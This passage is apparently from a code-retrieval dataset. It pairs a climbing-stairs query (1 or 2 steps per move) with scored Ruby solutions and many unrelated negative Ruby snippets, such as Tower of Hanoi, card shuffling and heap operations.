"text": "def update_config(config)\n !config['languages'] && config['languages'] = []\n !config['language_default'] && config['language_default'] = config['languages'].first;\n\n %w[languages language_default fill_default_content].each do |opt|\n self.send(\"#{opt}=\", config[opt])\n end\n self.config = config\n end",
"title": ""
}
] |
3090bb0de1e617b0c011031aea5840b3
|
Each time you can either climb 1 or 2 steps. In how many distinct ways can you climb to the top?
|
[
{
"docid": "9936e97bebc2697cad33b8ee458448f5",
"score": "0.6091408",
"text": "def climb_stairs(n)\n if n == 0 || n == 1 || n == 2\n return n\n else\n return climb_stairs(n-1)+climb_stairs(n-2)\n end\nend",
"title": ""
}
] |
[
{
"docid": "b1018eadd4b10110a5dc470043edce1c",
"score": "0.6833995",
"text": "def climb_stairs(steps)\n return steps if steps <= 2\n cache = {}\n cache[1] = 1\n cache[2] = 2\n 3.upto(steps) do |n|\n cache[n] = cache[n - 2] + cache[n - 1]\n end\n cache[steps]\nend",
"title": ""
},
{
"docid": "434aa1c4ef5c60ed6420e412f1810001",
"score": "0.6683826",
"text": "def stair_climb(n)\n end",
"title": ""
},
{
"docid": "42f556fd44bade8de230eec85aab1c66",
"score": "0.63951916",
"text": "def climb_stairs_still_slow(n)\n\t# base cases\n\treturn 1 if n < 2\n\treturn 2 if n == 2\n\n\treturn 2 * climb_stairs_still_slow(n-2) + climb_stairs_still_slow(n-3)\nend",
"title": ""
},
{
"docid": "507eeec9b604bdc7ea0abde74f104b85",
"score": "0.63672054",
"text": "def climb_stairs(n)\n prev_count = curr_count = 1\n (n - 1).times do\n temp = curr_count\n curr_count += prev_count\n prev_count = temp\n end\n curr_count\nend",
"title": ""
},
{
"docid": "2f48db6fb6fee217461389ef550af859",
"score": "0.63132936",
"text": "def climb_stairs(n)\n\treturn 1 if n <= 1\n\tclimb_stairs(n-1) + climb_stairs(n-2)\nend",
"title": ""
},
{
"docid": "090273b685c0b0a762a80da7a2fac64c",
"score": "0.6298717",
"text": "def climb_stairs(n, memo = {})\n return 1 if n == 1\n return 2 if n == 2\n\n memo[n - 1] = climb_stairs(n - 1, memo) unless memo[n - 1]\n memo[n - 2] = climb_stairs(n - 2, memo) unless memo[n - 2]\n\n memo[n - 1] + memo[n - 2]\nend",
"title": ""
},
{
"docid": "b51ed44bc1bd8a9ce792a13758e8e85b",
"score": "0.62821424",
"text": "def climb(n)\n array = []\n\n until n < 1\n array.push(n)\n n = n / 2\n end\n\n array.reverse\nend",
"title": ""
},
{
"docid": "40271613d564de23274e7fdc420323be",
"score": "0.62183",
"text": "def climb_stairs(n)\n memo =[]\n climbStairs(n, memo)\nend",
"title": ""
},
{
"docid": "fc5b30d823c1c3adfda563bca282f072",
"score": "0.6177975",
"text": "def climb_stairs(n)\n climb_stairs_helper(n, 0, {})\nend",
"title": ""
},
{
"docid": "80bed2b4a6d9b9f525d646b1b46e8846",
"score": "0.6155533",
"text": "def climb_stairs(n)\n first = 1\n second = 2\n\n return first if n == 1\n return second if n == 2\n\n current = first + second\n counter = 3\n\n while counter < n\n counter += 1\n first = second\n second = current\n current = first + second\n end\n\n return current\nend",
"title": ""
},
{
"docid": "eea29d21aefe372cb81f164d2ca1ddf8",
"score": "0.61055094",
"text": "def climb_count\n self.climbs.inject(0) do |sum, climb|\n sum += climb.block_1 if climb.block_1\n sum += climb.block_2 if climb.block_2\n sum += climb.block_3 if climb.block_3\n sum += climb.block_4 if climb.block_4\n sum\n end\n end",
"title": ""
},
{
"docid": "56988ff521cbc274a3f57ef2849180ad",
"score": "0.6105028",
"text": "def climb_stairs(n)\n return 1 if n == 1\n return 2 if n == 2\n\n last_val = 2\n last_last_val = 1\n (n-2).times do |i|\n next_val = last_val + last_last_val\n last_last_val = last_val\n last_val = next_val\n end\n\n last_val\nend",
"title": ""
},
{
"docid": "e3c73ed8a61a213470ecd8dcc29ac267",
"score": "0.60190845",
"text": "def stair_climb(n, step_sizes = [1, 2, 3], poss_steps = { 0 => [[]] })\n (1..n).each do |current_step|\n poss_steps[current_step] = []\n\n step_sizes.each do |next_step|\n last_counts = current_step - next_step\n next if last_counts < 0\n\n poss_steps[last_counts].each do |count|\n poss_steps[current_step] += [count + [next_step]]\n end\n end\n end\n\n poss_steps[n]\n end",
"title": ""
},
{
"docid": "188950717cc16a42780822e8b9f9a500",
"score": "0.6006951",
"text": "def hanoi\n disks = (1..3).to_a.reverse\n stacks = [disks, [], []]\n until stacks[0].empty? && stacks[1..2].any?(&:empty?)\n max_height = stacks.map(&:count).max\n render_string = (max_height - 1).downto(0).map do |height|\n stacks.map do |stack|\n stack[height] || \" \"\n end.join(\"\\t\")\n end.join(\"\\n\")\n puts render_string\n move_hash = { \"a\" => 0, \"b\" => 1, \"c\" => 2 }\n while true\n print \"Move From: \"\n from_stack_num = move_hash[gets.chomp]\n break unless from_stack_num.nil?\n puts \"Invalid move!\"\n end\n while true\n print \"Move To: \"\n to_stack_num = move_hash[gets.chomp]\n break unless to_stack_num.nil?\n puts \"Invalid move!\"\n end\n from_stack, to_stack = stacks.values_at(from_stack_num, to_stack_num)\n raise \"cannot move from empty stack\" if from_stack.empty?\n unless (to_stack.empty? || to_stack.last > from_stack.last)\n raise \"cannot move onto smaller disk\"\n end\n to_stack.push(from_stack.pop)\n end\n puts \"You did it!\"\nend",
"title": ""
},
{
"docid": "e5761d329dff4a5f3cdec95ef6cede6b",
"score": "0.5950817",
"text": "def sweep_stairs\n climb_stair\n pick_beeper\n climb_stair\n pick_beeper\n climb_stair\n pick_beeper\n turn_off\n end",
"title": ""
},
{
"docid": "300a0b8280981929c5b383ff168ac9cf",
"score": "0.5892771",
"text": "def steps(n)\nend",
"title": ""
},
{
"docid": "8794b812af70e61e5d15a5311d49e181",
"score": "0.5881588",
"text": "def move(cakes, last)\n allow = [1,2,3].reject { |i| i == last }\n move = allow.sample\n move > cakes ? (cakes == last ? cakes-1 : cakes): move \n end",
"title": ""
},
{
"docid": "7fc510fcfac24eeb37d5d2931d085ed9",
"score": "0.58659214",
"text": "def stair_climb(n)\n ways_table = build_ways_table(n)\n ways_table[n]\n end",
"title": ""
},
{
"docid": "47a2bd3949c525cdd39a7f21735c052a",
"score": "0.58524317",
"text": "def climb_stairs(n)\n return 0 if n.zero?\n return 1 if n == 1\n\n dp = []\n dp[n] = 1\n dp[n - 1] = 1\n (n - 2).downto(0) do |idx|\n dp[idx] = dp[idx + 1] + dp[idx + 2]\n end\n dp.first\nend",
"title": ""
},
{
"docid": "adf71fad1f86b054de8baff9a76c6f4b",
"score": "0.5851208",
"text": "def back(steps)\n move(-steps)\n end",
"title": ""
},
{
"docid": "3af12c3edc8de9f3084cb43a8171d658",
"score": "0.58321816",
"text": "def triple_cut\n joker_a = $deck.find_index('A')\n joker_b = $deck.find_index('B')\n top_joker = [joker_a, joker_b].min\n bottom_joker = [joker_a, joker_b].max\n\n above_cards = $deck.slice(0, [0, top_joker].max)\n below_cards = $deck.slice([$deck.length - 1, bottom_joker + 1].min, $deck.length - bottom_joker - 1)\n middle_cards = $deck.slice(top_joker, bottom_joker - top_joker + 1)\n\n $deck = [below_cards, middle_cards, above_cards].flatten\nend",
"title": ""
},
{
"docid": "4068a919450893bd5b0c99a971a64fb3",
"score": "0.5816623",
"text": "def move(disks, starting, goal)\n if disks == 1 # base case\n puts \"#{starting}->#{goal}\"\n else\n\n # Steps:\n # move n - 1 disks from starting to spare peg\n # move bottom disk from starting to goal peg\n # move n - 1 disks from spare peg to goal peg\n\n spare_peg = %w[1 2 3].reject do |x|\n x == starting || x == goal\n end\n spare_peg = spare_peg[0]\n\n move(disks - 1, starting, spare_peg)\n move(1, starting, goal)\n move(disks - 1, spare_peg, goal)\n end\nend",
"title": ""
},
{
"docid": "5bb2abb24c4cb17a503cdd3d7483316a",
"score": "0.58013225",
"text": "def stair_climb(n)\n @cache = [\n [[]],\n [[1]],\n [[1, 1], [2]]\n ]\n\n return @cache[n] if n < 3\n\n (3..n).each do |i|\n new_climbs = []\n\n (1..3).each do |dist|\n previous = @cache[i - dist]\n previous.each do |climbs|\n new_climb = [dist]\n climbs.each { |climb| new_climb << climb }\n new_climbs << new_climb\n end\n end\n @cache << new_climbs\n end\n\n @cache.last\n end",
"title": ""
},
{
"docid": "101ad24800bf11a97624fef9e6d01849",
"score": "0.579831",
"text": "def move_B\r\n 2.times { move_down( @deck.index( 'B' ) ) }\r\n end",
"title": ""
},
{
"docid": "ff9b9650e06f5331f25e29d2a107ae15",
"score": "0.57934886",
"text": "def min_cost_climbing_stairs(cost)\n [step(cost, 0), step(cost, 1)].min\nend",
"title": ""
},
{
"docid": "78a7d719f54f37145d2bf2d6293d7e20",
"score": "0.5785112",
"text": "def move(cakes, last)\n last == 1 ? 2 : 1 # I'm not greedy\n end",
"title": ""
},
{
"docid": "85eee98d1871a3b720bac180e72018ad",
"score": "0.5778571",
"text": "def a_few_more_steps\n puts \"Turn\"\n puts \"Left foot crosses over right\"\n puts \"Right foot steps right and back\"\n puts \"Stop\"\n puts \"Left foot back\"\n puts \"Right foot back\"\nend",
"title": ""
},
{
"docid": "a8b36c983d86cc872944278c0e080285",
"score": "0.5767943",
"text": "def break_chocolate(n, m)\n breaks = 0\n breaks += (n-1)\n n.times do |pieces|\n breaks += (m-1)\n end\n breaks\nend",
"title": ""
},
{
"docid": "ddc83dddfff7e2566993b1f7b9479c27",
"score": "0.5762257",
"text": "def rest\n if @state > 2\n @state -= 1\n elsif @state < 2\n @state += 1\n end\n end",
"title": ""
},
{
"docid": "1bbf4e90e2c411d35e373e09275aaeee",
"score": "0.57541996",
"text": "def move(cakes, last)\n #last == 1 ? 2 : 1 # I'm not greedy\n if cakes == 1\n \n elsif cakes == 2\n \n else\n\n end\n end",
"title": ""
},
{
"docid": "b3e3a92a781c81734e82ab53b6aaf6d2",
"score": "0.575346",
"text": "def frog_hops_bottom_up(n)\n frog_cache_builder(n)\n end",
"title": ""
},
{
"docid": "edc9376843efbb175d5d683c5bd030a9",
"score": "0.5743844",
"text": "def rest\n @state -= 1 if @state > 2\n @state += 1 if @state < 2\n end",
"title": ""
},
{
"docid": "2524e893c48df667963c33212dff5bf0",
"score": "0.5722984",
"text": "def min_cost_climbing_stairs(arr)\n next_one, next_two = 0, 0\n curr = 0\n\n (arr.length - 1).downto(0).each do |i|\n curr = arr[i] + min(next_one, next_two)\n next_two = next_one\n next_one = curr\n end\n\n return min(next_one, next_two)\nend",
"title": ""
},
{
"docid": "93c542c51001dbdf702ecd0447595ed3",
"score": "0.57040936",
"text": "def climb_stairs(n)\n return 1 if n == 1\n dp = [0] * (n + 1)\n dp[1] = 1\n dp[2] = 2\n for i in 3..n do \n dp[i] = dp[i - 1] + dp[i - 2]\n end\n dp[n]\nend",
"title": ""
},
{
"docid": "dbfd0e9f38fbb6800d8b9a4970b6fd11",
"score": "0.56983197",
"text": "def move_prev\n self.step -= 1\n 'prev'\n end",
"title": ""
},
{
"docid": "6dbbb89b571d88c62bb25a68f35785c9",
"score": "0.5692252",
"text": "def climb_stairs_2(n)\n a = b = 1\n n.times { a, b = b, a + b }\n a\nend",
"title": ""
},
{
"docid": "c7dd95e2d1bdabeceb58319f4610236c",
"score": "0.5686957",
"text": "def climb_stairs(n)\n\t# base cases\n\tfn1 = 1\n\tfn2 = 1\n\ti = 1\n\twhile i < n\n\t\tfn1, fn2 = fn1 + fn2, fn1\n\t\ti += 1\n\tend\n\treturn fn1\nend",
"title": ""
},
{
"docid": "fcf96f4c6e32ba748b5cda4886fa63fe",
"score": "0.5684933",
"text": "def deal_flop\n # Burns the top card of the deck.\n @deck.cards.shift\n # Moves the top three cards of the deck into the community table cards array.\n @community_cards = @deck.cards.shift(3)\n puts ''\n print 'The flop is: '\n card_output(@community_cards)\n puts \"\"\n sleep(3)\nend",
"title": ""
},
{
"docid": "29bfdf0de7d37319f30ee47c2e8457fe",
"score": "0.5664009",
"text": "def fast_dance(step)\n dance_steps = {\n \"up\" => 0,\n \"right-up\" => 1,\n \"right\"=> 2,\n \"right-down\" => 3,\n \"down\" => 4,\n \"left-down\" => 5,\n \"left\" => 6,\n \"left-up\" => 7\n }\n\n dance_steps[step]\nend",
"title": ""
},
{
"docid": "89b183a27d17cf897347942bd02d82e7",
"score": "0.56597793",
"text": "def move_up\n self.touch\n\n puts no_of_succeeded = self.no_of_succeeded + 1\n puts no_of_attempts = self.no_of_attempts + 1\n\n self.update( no_of_succeeded: no_of_succeeded, no_of_attempts: no_of_attempts )\n\n maximum_steps = BUCKETS[self.bucket][\"steps\"]\n\n if self.step < maximum_steps\n return step_up\n else\n return bucket_up\n end\n end",
"title": ""
},
{
"docid": "61f9f2a2c8ea075e1e6383aeadb955c0",
"score": "0.56589186",
"text": "def frog_hops_bottom_up(n)\n cache = frog_cache_builder(n)\n\n cache[n]\n \n end",
"title": ""
},
{
"docid": "961df778c62a015a9949f135f99c1a51",
"score": "0.5636704",
"text": "def sift_down(i)\n child = (i * 2) + 1\n return if child >= @heap.length\n child += 1 if child + 1 < @heap.length and @heap[child] > @heap[child+1]\n if @heap[i] > @heap[child]\n @heap[child], @heap[i] = @heap[i], @heap[child]\n sift_down(child)\n end\n end",
"title": ""
},
{
"docid": "0a9c7f4855c8209837f4896457610e4e",
"score": "0.5625809",
"text": "def count_cut\n last = @deck[-1].to_i\n @deck[-1..-1] = [@deck[0...last], @deck[-1]].flatten\n last.times {@deck.shift}\n @deck\n end",
"title": ""
},
{
"docid": "d6d8c8a10d883df89fc07b0d9b174070",
"score": "0.5615234",
"text": "def frog_hops_bottom_up(n)\n frog_cache_builder(n)[n]\n end",
"title": ""
},
{
"docid": "2681065ed484ad6cc4e702293d44b2b9",
"score": "0.5612411",
"text": "def break_chocolate(n, m)\n if n < 2\n 0\n else\n n * m - 1\n end\nend",
"title": ""
},
{
"docid": "50da32e7faf0d849ce9eb6c0453a622d",
"score": "0.56025684",
"text": "def stair_climb(n)\n ways_collection = [[[]], [[1]], [[1, 1], [2]]]\n\n return ways_collection[n] if n < 3\n\n (3..n).each do |i|\n new_way_set = []\n (1..3).each do |first_step|\n ways_collection[i - first_step].each do |way|\n new_way = [first_step]\n way.each do |step|\n new_way << step\n end\n new_way_set << new_way\n end\n end\n ways_collection << new_way_set\n end\n\n ways_collection.last\n end",
"title": ""
},
{
"docid": "343e3869ee0ccbb7f80779b23ab8911b",
"score": "0.55974656",
"text": "def reduce_anger\n self.steps += 1\n self.anger -= 1 if steps % step_divisor == 0 && self.anger > initial_anger\n end",
"title": ""
},
{
"docid": "9d1c3cee31cf5238d8e765d137dcbf89",
"score": "0.55951655",
"text": "def back(steps)\n forward(-steps)\n end",
"title": ""
},
{
"docid": "e2d5cf5830e0eca3c0b6f94a94ab93a2",
"score": "0.55685794",
"text": "def roll_over\n\t\tputs \"Look I am upside down, scratch my belly\"\n\tend",
"title": ""
},
{
"docid": "b03bfe07c4999e00560fd761fe134a61",
"score": "0.5559796",
"text": "def climb_stairs_memo(n)\n memo = []\n climb_stairs_memo_helper(0, n, memo)\nend",
"title": ""
},
{
"docid": "15e3ec09fa9fdaf42faabb31b2983678",
"score": "0.555765",
"text": "def climb_stairs(n)\n return 0 if n == 0\n return 1 if n == 1\n arr = [0, 1]\n for i in 2..n + 1 do \n arr << arr[i - 1] + arr[i - 2]\n end\n arr.last\nend",
"title": ""
},
{
"docid": "7b9e517f20c8147bab7de105d071adb6",
"score": "0.5548349",
"text": "def chop() end",
"title": ""
},
{
"docid": "7b9e517f20c8147bab7de105d071adb6",
"score": "0.5548349",
"text": "def chop() end",
"title": ""
},
{
"docid": "e626e323dfbf9b27418d923b2cc96ad6",
"score": "0.5548251",
"text": "def rolldown\n\t\t\tpush [:swap]\n\t\t\tdip\n\t\t\tswap\n\t\tend",
"title": ""
},
{
"docid": "05a98621b16f6e13e45dec01e28ce4e1",
"score": "0.5529103",
"text": "def make_better_change(amount, coins)\n stack = [amount]\n until stack.empty?\n coins.each do |coin|\n break if amount - coin == 0\n stack << amount - coin if amount >= coin\n make_better_change(amount-coin, coins)\n end\n end\nend",
"title": ""
},
{
"docid": "a5a48db55fb7bd9a46c2334f1dab759d",
"score": "0.5518774",
"text": "def a_few_more_steps\n loop do\n puts \"Right foot back\"\n sleep(0.5)\n puts \"Left foot back\"\n sleep(0.5)\n puts \"Right foot back\"\n sleep(0.5)\n puts \"Stop\"\n sleep(1)\n puts \"Right foot steps right and back\"\n sleep(0.5)\n puts \"Left foot crosses over right\"\n sleep(0.5)\n puts \"Right foot steps right\"\n sleep(0.5)\n puts \"Turn\"\n sleep(1)\nend\nend",
"title": ""
},
{
"docid": "11e5f4577b4dcfe7f60c742044122f32",
"score": "0.55146587",
"text": "def try_to_loan(loan)\n atms = Array.new(100) { |i| i.even? ? 2**i : -2**i }\n signs = atms.dup\n moves = []\n while loan != 0\n # binding.pry\n first_bigger, method = next_value(loan, atms)\n break if first_bigger == false\n if method == :cut\n moves << signs.index(atms[first_bigger])\n loan -= atms.delete_at(first_bigger)\n moves << signs.index(atms[first_bigger - 1]) if loan != 1\n loan -= atms.delete_at(first_bigger - 1) if loan != 1\n else\n moves << signs.index(atms[first_bigger - 2])\n loan -= atms.delete_at(first_bigger - 2)\n end\n p moves\n p loan\n end\nend",
"title": ""
},
{
"docid": "8bf7c1ecfa29447e97c964ef7c8029c7",
"score": "0.5511641",
"text": "def topping; end",
"title": ""
},
{
"docid": "6c8c057010bd88c494c3349f33032217",
"score": "0.5510255",
"text": "def more_steps\n steps = 0\n loop do\n if steps % 2 == 0 \n puts \"left\"\n else \n puts \"right\"\n end\n steps += 1\n if steps > 10\n break\n end\n end\nend",
"title": ""
},
{
"docid": "371f92f57dcbb79e90ebf9fc8f4a91d9",
"score": "0.550922",
"text": "def run!\n @money = @start_money\n @position = nil\n prev = nil\n @before = nil\n @transaction_index = 0\n @fail_trades_count = 0\n\n @crunch.unpacked.each do |pup|\n puts_pupple(pup) if @verbose\n\n if prev\n case @position\n when :short # \\\n # from above through lower => WIN\n if (prev.cci > @buy_cci && @buy_cci >= pup.cci) ||\n # back to upper => LOOSE\n (prev.cci < @sell_cci && @sell_cci <= pup.cci)\n short_buy pup\n end\n when :long # /\n # from below through upper => WIN\n if (prev.cci < @sell_cci && @sell_cci <= pup.cci) ||\n # back to lower => LOOSE\n (prev.cci > @buy_cci && @buy_cci >= pup.cci)\n long_sell pup\n end\n when nil # must wait for an intrusion from outside into cci-band\n # from above\n if prev.cci > @sell_cci && @sell_cci >= pup.cci\n short_sell pup\n end\n # from below\n if prev.cci < @buy_cci && @buy_cci <= pup.cci\n long_buy pup\n end\n else\n raise \"unknown position #{@position}\"\n end\n end\n\n prev = pup\n end\n\n summary\n end",
"title": ""
},
{
"docid": "3cc24cfb52b5ab4f0a34a3acab7b4647",
"score": "0.5508414",
"text": "def climb(position, radius)\n max_rad, max_pos, max_ele, inc, my_ele = highest_neighbor(position, radius)\n if inc < 0 || max_rad < radius\n puts \"We have reached the peak (#{my_ele}) at #{position}\".green\n peak_id = store_peak(position, my_ele)\n [position, my_ele, peak_id]\n else\n puts \"Elevation #{max_ele}, position #{max_pos}\".yellow\n sleep 0.01\n if inc > 0\n puts \"Climbing more\".light_black\n climb(max_pos, 1)\n else\n new_radius = radius + 1\n puts \"On a flat, increasing radius to #{new_radius}\"\n climb(max_pos, new_radius)\n end\n end\nend",
"title": ""
},
{
"docid": "9479592d8818f910c38e59f4ff5bf89e",
"score": "0.54979193",
"text": "def move_tower(src, dst, n)\r\n if n>1 # RECURSIVE CASE\r\n intermediate = 3 - (src+dst) # think about it...\r\n move_tower(src, intermediate, n-1)\r\n @pegs[dst].drop(@pegs[src].lift)\r\n move_tower(intermediate, dst, n-1)\r\n else # BASE CASE\r\n @pegs[dst].drop(@pegs[src].lift)\r\n end\r\nend",
"title": ""
},
{
"docid": "09e13b16ca812d8c95c6f25b0c74a9dd",
"score": "0.54976916",
"text": "def super_frog_hops(num_stairs, max_stairs)\n cache = [[[]], [[1]]]\n return cache[num_stairs] if num_stairs < 2\n \n (2..num_stairs).each do |stairs|\n new_comb = []\n (1..max_stairs).each do |jump|\n if stairs - jump < 0\n next\n else\n cache[stairs - jump].each do |subarr|\n next_com = subarr + [jump] \n new_comb << next_com\n end \n end \n end \n cache[stairs] = new_comb\n end \n cache[num_stairs]\n end",
"title": ""
},
{
"docid": "5de602f83bf2c0f20dd615cd1c9bbe6f",
"score": "0.54968584",
"text": "def knights_moves(start, finish)\n board = create_board\n\n path = []\n queue = []\n\n queue << start\n\n loop do\n \tcurrent_node = board[queue[0][0]][queue[0][1]]\n\n current_node.moves.each do |node|\n unless node == start || board[node[0]][node[1]].parent != nil\n board[node[0]][node[1]].parent = queue[0] \n queue << node\n end\t\n end\n\n if queue.include? finish\n\n parent = board[finish[0]][finish[1]].parent\n path << parent\n\n loop do\n \tparent = board[parent[0]][parent[1]].parent\n \tbreak if parent == nil\n \tpath.unshift(parent)\n end\n\n path << finish\n break\n end\n\n \tqueue.shift\n end\n puts \"You can make it in #{path.length-1} steps!\"\n path\nend",
"title": ""
},
{
"docid": "99e15477703c62719c5a99b2049448ed",
"score": "0.549682",
"text": "def stair_climb(n)\n routes = [[[]], [[1]], [[1, 1], [2]]] # like fibb sequence\n\n (3).upto(n) do |dest_step|\n current_routes = []\n (1).upto(3) do |last_step|\n routes[dest_step - last_step].each do |route|\n current_routes << [last_step] + route\n end\n end\n routes << current_routes\n end\n\n routes[n]\n end",
"title": ""
},
{
"docid": "cb20b2d1ded28aa67828c1778fc7e517",
"score": "0.5496702",
"text": "def climb_stairs_memo(n, cache={})\n\treturn 1 if n <= 1\n\toperand_one = cache[n-1] || climb_stairs_memo(n-1)\n\toperand_two = cache[n-2] || climb_stairs_memo(n-2)\n\tresult = operand_one + operand_two\n\tcache[n] = result\n\tresult\nend",
"title": ""
},
{
"docid": "216029b8842cd7c52fefe3e63a6a80c2",
"score": "0.54908514",
"text": "def vshift(amount)\n @top += amount\n self\n end",
"title": ""
},
{
"docid": "19c43ff873fd154d072b4b8d629ebaa4",
"score": "0.5486572",
"text": "def minimum_moves(discs)\n 2 * discs + 1\nend",
"title": ""
},
{
"docid": "f363f9284f219adf817121c27f069b33",
"score": "0.5481702",
"text": "def frog_hops_bottom_up(n)\n cache = frog_cache_builder(n)\n cache[n]\n end",
"title": ""
},
{
"docid": "c172082102e9a97c1c604d955d3f71fe",
"score": "0.5475663",
"text": "def nip_it_in_the_bud\n while has_bud?(@sequence) do\n @sequence.shift\n @sequence.each { |entry| entry.level -= 1 }\n end\n end",
"title": ""
},
{
"docid": "0019103d136687875ebad11629a7c08d",
"score": "0.5468784",
"text": "def more_steps\n steps = 0\n loop do\n if steps % 2 == 0 \n puts \"left\"\n else \n puts \"right\"\n end\n steps += 1\n if steps > 6\n break\n end\n end\nend",
"title": ""
},
{
"docid": "e158353da264e6f83b34b85d3fa63819",
"score": "0.5459925",
"text": "def toh(n, source, destination, intermediate, count = 1)\n if n == 1\n puts \"(#{count} move) #{source} to #{destination}\"\n count = count + 1\n elsif n > 1\n count = toh(n-1, source, destination, intermediate, count)\n count = toh(1, source, intermediate, destination, count)\n count = toh(n-1, intermediate, destination, source, count)\n end\nend",
"title": ""
},
{
"docid": "b6a8c7a1dd61a310ca56a6a83c81292d",
"score": "0.5455838",
"text": "def move_knight\n #there is no more than eight moves\nend",
"title": ""
},
{
"docid": "1338b0c0a343c64555973346b4597ae3",
"score": "0.5452724",
"text": "def pile_cards\n if type == :basic\n @spoils_of_war << @player1.deck.cards[0]\n @spoils_of_war << @player2.deck.cards[0]\n @player1.deck.cards.shift\n @player2.deck.cards.shift\n elsif type == :war\n @spoils_of_war << @player1.deck.cards[0]\n @spoils_of_war << @player1.deck.cards[1]\n @spoils_of_war << @player1.deck.cards[2]\n @spoils_of_war << @player2.deck.cards[0]\n @spoils_of_war << @player2.deck.cards[1]\n @spoils_of_war << @player2.deck.cards[2]\n @player1.deck.cards.shift(3)\n @player2.deck.cards.shift(3)\n else\n @player1.deck.cards.shift(3)\n @player2.deck.cards.shift(3)\n p \"MUTALLY ASSURED DESTRUCTION\"\n end\n end",
"title": ""
},
{
"docid": "556291bb7e238bb63f88597296103c93",
"score": "0.54504627",
"text": "def sift_up(i)\n parent = (i - 1) / 2\n if parent >= 0 and @heap[parent] > @heap[i]\n @heap[parent], @heap[i] = @heap[i], @heap[parent]\n sift_up(parent)\n end\n end",
"title": ""
},
{
"docid": "b0f8faa4ff30c04262ecda9528f9451f",
"score": "0.5432733",
"text": "def min_cost_climbing_stairs(cost)\n cost = cost + [0]\n\n last = cost[1]\n last_last = cost[0]\n\n cost[2..-1].each do |cost|\n new_cost = cost + [last, last_last].min\n last_last = last\n last = new_cost\n end\n\n last\nend",
"title": ""
},
{
"docid": "e765dd628aa1119a95cc0b3e61013696",
"score": "0.5424703",
"text": "def climb_stairs(n)\n table = Array.new(45) { 0 }\n table[0] = 1\n table[1] = 2\n\n table.each_with_index do |_val, i|\n next if i < 2\n table[i] = table[i - 1] + table[i - 2]\n end\n\n table[n-1]\nend",
"title": ""
},
{
"docid": "d78c9e48f298da8b8099080b427ee764",
"score": "0.54211885",
"text": "def climb_stairs(n)\n dp = [1, 1] # => [1, 1]\n\n (2..n).each do |idx| # => 2..4\n dp[idx] = dp[idx - 1] + dp[idx -2] # => 2, 3, 5\n end # => 2..4\n\n dp[n] # => 5\nend",
"title": ""
},
{
"docid": "fdf4d3ce3fe6644b211ef375f1e08775",
"score": "0.54174566",
"text": "def bowl_second_roll first_roll\n roll_bowl @pins-first_roll\nend",
"title": ""
},
{
"docid": "5515be5037c774518f33f1dc343feb02",
"score": "0.5415445",
"text": "def step()\n max = 0.0\n best = nil\n walk_tasks() do |t|\n if Task::STOPPED == t.state\n bu = t.backed_up()\n if max < bu\n best = t\n max = bu\n end\n end\n end\n best.step() unless best.nil?\n best\n end",
"title": ""
},
{
"docid": "5515be5037c774518f33f1dc343feb02",
"score": "0.5415445",
"text": "def step()\n max = 0.0\n best = nil\n walk_tasks() do |t|\n if Task::STOPPED == t.state\n bu = t.backed_up()\n if max < bu\n best = t\n max = bu\n end\n end\n end\n best.step() unless best.nil?\n best\n end",
"title": ""
},
{
"docid": "74ad8ea1c5169d28ddd0ce73d4c37134",
"score": "0.54086256",
"text": "def flipflop!\n\t\tif size > 1\n\t\t\ta, b = shift, pop\n\t\t\tunshift(b); push(a)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4a99c4dbfadbe811b70b48909d8c5306",
"score": "0.53933424",
"text": "def moves\n forward_steps + side_attacks\n end",
"title": ""
},
{
"docid": "0c38b4b6d49352b4193bf9024da116b4",
"score": "0.5392978",
"text": "def turn_around\n stop_totally\n @headed_left = !@headed_left\n walk\n end",
"title": ""
},
{
"docid": "de76b5c672deca67b500a3ed2d6294e0",
"score": "0.5391925",
"text": "def shoulders_stretch \n \"Raise both shoulders at once up toward the ears. Drop them and repeat 10 times each direction.\"\nend",
"title": ""
},
{
"docid": "3a829f89b37240532a74ccc436111e1f",
"score": "0.539006",
"text": "def fold_to(goal)\n\ttotal_thickness = 0.0001\n\tfolds = 0\n\tif (goal <= 0)\n\t\treturn nil\n\tend\n\twhile (total_thickness < goal)\n\t\tfolds += 1\n\t\ttotal_thickness *= 2\n\tend\n\treturn folds\nend",
"title": ""
},
{
"docid": "02c6d1c5b89bb798af9af20ace11dd38",
"score": "0.5389391",
"text": "def back(steps)\n forward(-steps)\n end",
"title": ""
},
{
"docid": "1e3a43ce0f138a63a6aae086d1cb432d",
"score": "0.53797674",
"text": "def chop!() end",
"title": ""
},
{
"docid": "1e3a43ce0f138a63a6aae086d1cb432d",
"score": "0.53797674",
"text": "def chop!() end",
"title": ""
},
{
"docid": "905662330c9a9478b2a0ac87e57e9b46",
"score": "0.53753793",
"text": "def move_pile(play1, play2)\n if play2.empty?\n play2.concat(play1)\n play1.clear\n elsif (within_one?(play1[0].rank.to_i, play2[-1].rank.to_i))\n play2.concat(play1)\n play1.clear\n else\n end\nend",
"title": ""
},
{
"docid": "4d30016a0f9fb58a8b5b4e590ec31f8d",
"score": "0.53748196",
"text": "def solution(sizes, directions)\n stack = []\n eaten = 0\n sizes.each_with_index { |size, i| \n case directions[i]\n when 0\n while stack.last and stack.last < size\n stack.pop\n eaten += 1 # eats 1\n end\n eaten += 1 if stack.last # eaten by 1\n when 1\n stack.push(size)\n end\n }\n sizes.count - eaten\nend",
"title": ""
},
{
"docid": "a624be0aea4915124756e1aaf4969292",
"score": "0.537399",
"text": "def firstmove(cakes)\n true # I want to move first\n end",
"title": ""
},
{
"docid": "a624be0aea4915124756e1aaf4969292",
"score": "0.537399",
"text": "def firstmove(cakes)\n true # I want to move first\n end",
"title": ""
},
{
"docid": "7f9e4adc44629f1fa1f0dca5fdfd5d6e",
"score": "0.5373892",
"text": "def rebalance\n winning_block = @block_stacks.last.first\n parent_position = @block_stacks.count - 2\n\n while contested?(parent_position)\n # TODO: Is there's a smarter way to persistently select a winner than sorting the competition\n @block_stacks[parent_position].sort_by! do |previous_block|\n Assessment.valid_link?(previous_block, winning_block) ? 0 : 1\n end\n\n winning_block = @block_stacks[parent_position].first\n parent_position -= 1\n end\n end",
"title": ""
},
{
"docid": "a624be0aea4915124756e1aaf4969292",
"score": "0.53734076",
"text": "def firstmove(cakes)\n true # I want to move first\n end",
"title": ""
},
{
"docid": "295376a258363681f707e350a18994da",
"score": "0.53719574",
"text": "def position_for_next_harvest()\n turn_right()\n move()\n turn_right()\n end",
"title": ""
},
{
"docid": "1e10dd3cfb3b80c0747590cd1c10f9d2",
"score": "0.53696907",
"text": "def moves\n sliding_moves + jumping_moves\n end",
"title": ""
},
{
"docid": "08366222fe45e7b8c9aa3467bac15418",
"score": "0.5363005",
